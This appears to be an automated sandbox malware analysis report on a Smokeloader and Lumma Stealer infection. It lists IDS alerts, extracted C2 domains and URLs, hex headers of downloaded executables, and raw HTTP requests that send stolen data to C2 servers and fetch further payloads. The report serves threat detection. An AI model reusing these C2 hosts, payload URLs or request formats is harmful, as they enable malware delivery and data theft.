Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49739 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49740 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49741 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49743 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2052787 ET TROJAN DNS Query to Lumma Stealer Domain (whispedwoodmoodsksl .shop) 192.168.2.4:55411 -> 1.1.1.1:53
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49745 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49747 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49748 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49760 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49761 -> 185.18.245.58:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 91.202.233.231 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.145.40.124 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 185.18.245.58 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 31.176.197.47 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 45.129.96.86 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: boredimperissvieos.shop
Source: Malware configuration extractor URLs: holicisticscrarws.shop
Source: Malware configuration extractor URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor URLs: plaintediousidowsko.shop
Source: Malware configuration extractor URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor URLs: whispedwoodmoodsksl.shop
Source: Malware configuration extractor URLs: boredimperissvieos.shop
Source: Malware configuration extractor URLs: holicisticscrarws.shop
Source: Malware configuration extractor URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor URLs: plaintediousidowsko.shop
Source: Malware configuration extractor URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor URLs: whispedwoodmoodsksl.shop
Source: Malware configuration extractor URLs: boredimperissvieos.shop
Source: Malware configuration extractor URLs: holicisticscrarws.shop
Source: Malware configuration extractor URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor URLs: plaintediousidowsko.shop
Source: Malware configuration extractor URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor URLs: whispedwoodmoodsksl.shop
Source: Malware configuration extractor URLs: boredimperissvieos.shop
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199689717899
Source: Malware configuration extractor URLs: http://dbfhns.in/tmp/index.php
Source: Malware configuration extractor URLs: http://guteyr.cc/tmp/index.php
Source: Malware configuration extractor URLs: http://greendag.ru/tmp/index.php
Source: Malware configuration extractor URLs: http://lobulraualov.in.net/tmp/index.php
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Sun, 26 May 2024 08:28:28 GMTContent-Type: application/octet-streamContent-Length: 325120Last-Modified: Sun, 26 May 2024 08:20:02 GMTConnection: keep-aliveETag: "6652f0b2-4f600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 5b 37 b0 84 3a 59 e3 84 3a 59 e3 84 3a 59 e3 89 68 86 e3 98 3a 59 e3 89 68 b9 e3 09 3a 59 e3 89 68 b8 e3 aa 3a 59 e3 8d 42 ca e3 8d 3a 59 e3 84 3a 58 e3 e7 3a 59 e3 31 a4 bc e3 85 3a 59 e3 89 68 82 e3 85 3a 59 e3 31 a4 87 e3 85 3a 59 e3 52 69 63 68 84 3a 59 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e 81 f9 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 0c 01 00 00 74 08 00 00 00 00 00 86 3d 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 09 00 00 04 00 00 70 bc 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 83 01 00 64 00 00 00 00 e0 08 00 08 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 84 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 78 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 33 0b 01 00 00 10 00 00 00 0c 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 6c 00 00 00 20 01 00 00 6e 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 46 07 00 00 90 01 00 00 ce 02 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 a8 00 00 00 e0 08 00 00 aa 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 26 May 2024 08:28:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Sun, 26 May 2024 08:26:18 GMTETag: "205e00-6195727a15e80"Accept-Ranges: bytesContent-Length: 2121216Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 0a 09 00 00 50 17 00 00 00 00 00 1c 18 09 00 00 10 00 00 00 20 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 20 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 4a 22 00 00 00 70 0a 00 00 44 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 3c bd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 09 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 84 08 09 00 00 10 00 00 00 0a 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 c4 26 00 00 00 20 09 00 00 28 00 00 00 0e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 2d 0d 00 00 00 50 09 00 00 00 00 00 00 36 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 4a 22 00 00 00 60 09 00 00 24 00 00 00 36 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 90 09 00 00 00 00 00 00 5a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 a0 09 00 00 02 00 00 00 5a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 3c bd 00 00 00 b0 09 00 00 be 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 44 16 00 00 70 0a 00 00 44 16 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 20 00 00 00 00 00 00 5e 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.199.218.33 23.199.218.33
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: UNINETAZ UNINETAZ
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 74Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3789Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1267Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 548841Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCBAECFCAKKEBFCFIIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 278Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 7497Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBFBAEBKJJJJKFCGCBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJECFIECBGDGCAAAEHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJJKEHCAKEGCAKJKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 97541Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eobtgpmoikwju.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tvjfpiseolhi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rmdbblxwbhidssfx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://crrdnspsojxi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jfmevrxlmgrgcter.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dcrgrikamcipdku.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: dbfhns.in
Source: global traffic HTTP traffic detected: GET /file/update.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.129.96.86
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jyuvkhsnugkdc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yukvxpqjtjfrjqw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lvfcajibsxtsk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 201Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dxmeirvuxixgqp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: dbfhns.in
Source: global traffic HTTP traffic detected: GET /pintxi1lv.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.124
Source: global traffic HTTP traffic detected: GET /file/host_so.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.235.137.54
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ycpgoadxufkj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://blkpeagecciexc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: dbfhns.in
Source: global traffic HTTP traffic detected: GET /sdf34ert3etgrthrthfghfghjfgh.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.202.233.231
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bffxawywalbkr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uvunmrjdxhvinab.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://unjbbvgiwfeg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://krexlrcywwqsrfo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mlqkylljcnp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: dbfhns.in
